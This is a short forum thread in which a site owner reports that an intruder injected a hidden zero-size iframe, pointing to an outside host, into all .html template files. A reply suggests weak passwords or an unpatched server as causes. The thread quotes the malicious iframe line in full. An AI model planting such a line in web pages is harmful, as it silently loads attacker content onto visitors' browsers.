Has anyone ever heard of this?  Someone hacked into my webserving account and edited the template.html's of my 30+ themes and added the line
<Iframe Src="http://2awm.com/pop/get.php?user=tt1sp" width=0 height=0></Iframe>
to each one.  Since there are so many themes, I think it must have been done programatically.  However, how would the hacker or program know only to edit template.html?  None of my other files on my whole website were touched... Any ideas?
Thanks a lot.

UPDATE - It is not just a Coppermine thing.  Apparently someone hacked into my site and ran a PERL script to add the above code to all files ending in .html.  That is why all my Coppermine files were affected.  Still, if anyone has any experience with getting hacked this way, I would like to hear about what they did.
Thanks

mostly such intruders get in because the site admin uses a weak password (trivial password, with too few characters). Change your password immediately, and contact your webhost for support, maybe the intruder was using an exploit from an unpatched weakness on the server itself.

You are correct, this is not a coppermine thing at all.
